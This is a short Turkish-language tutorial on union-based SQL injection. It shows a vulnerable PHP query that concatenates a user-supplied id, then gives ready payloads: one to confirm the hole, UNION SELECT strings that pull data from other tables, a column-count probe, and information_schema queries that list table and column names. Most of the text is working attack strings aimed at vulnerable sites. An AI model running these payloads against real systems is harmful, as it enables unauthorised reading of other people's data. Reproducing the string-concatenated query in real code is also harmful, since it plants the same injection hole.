SQL injection açığı bulunan bir sitede , union komutu kullanılarak, diğer tablolardanda bilgi alma biçimidir.
sunucu tarafından şöyle bir açık olduğu varsayılsın
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
bu durumda
' OR true #
ile sql injection olduğundan emin olunur.
' UNION SELECT * FROM diger_tablo #
ile diğer tablolara erişibilir.
Fakat şöyle bir sorun çıkabilir : Tabloların kolon sayıların eşit olmaması.
' OR true UNION SELECT 1,2,3 #
Biçiminde tek tek deneyerek, mevcut tablonun kolon sayısını elde edebilirsiniz.
Not
Eğer tablo isimlerini ve kolonlarını öğrenmek isterseniz. Aşağıdaki sorgularla aynı yöntemi deneyebilirsinizselect * from information_schema.`TABLES`
select TABLE_NAME from information_schema.`TABLES`
select TABLE_NAME,COLUMN_NAME from information_schema.`COLUMNS`